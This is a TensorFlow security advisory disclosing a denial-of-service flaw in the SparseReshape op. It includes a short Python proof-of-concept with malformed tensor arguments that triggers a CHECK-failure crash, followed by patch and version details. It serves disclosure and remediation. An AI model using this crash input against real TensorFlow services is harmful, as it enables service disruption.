Incomplete validation in `SparseReshape`

Impact

Incomplete validation in SparseReshape results in a denial of service based on a CHECK-failure.

```python

import tensorflow as tf

input_indices = tf.constant(41, shape=[1, 1], dtype=tf.int64)

input_shape = tf.zeros([11], dtype=tf.int64)

new_shape = tf.zeros([1], dtype=tf.int64)

tf.raw_ops.SparseReshape(input_indices=input_indices,

input_shape=input_shape,

new_shape=new_shape)

`

The [implementation](https://github.com/tensorflow/tensorflow/blob/e87b51ce05c3eb172065a6ea5f48415854223285/tensorflow/core/kernels/sparse_reshape_op.cc#L40) has no validation that the input arguments specify a valid sparse tensor.

Patches

We have patched the issue in GitHub commit [1d04d7d93f4ed3854abf75d6b712d72c3f70d6b6](https://github.com/tensorflow/tensorflow/commit/1d04d7d93f4ed3854abf75d6b712d72c3f70d6b6).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 and TensorFlow 2.3.3, as these are the only affected versions.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.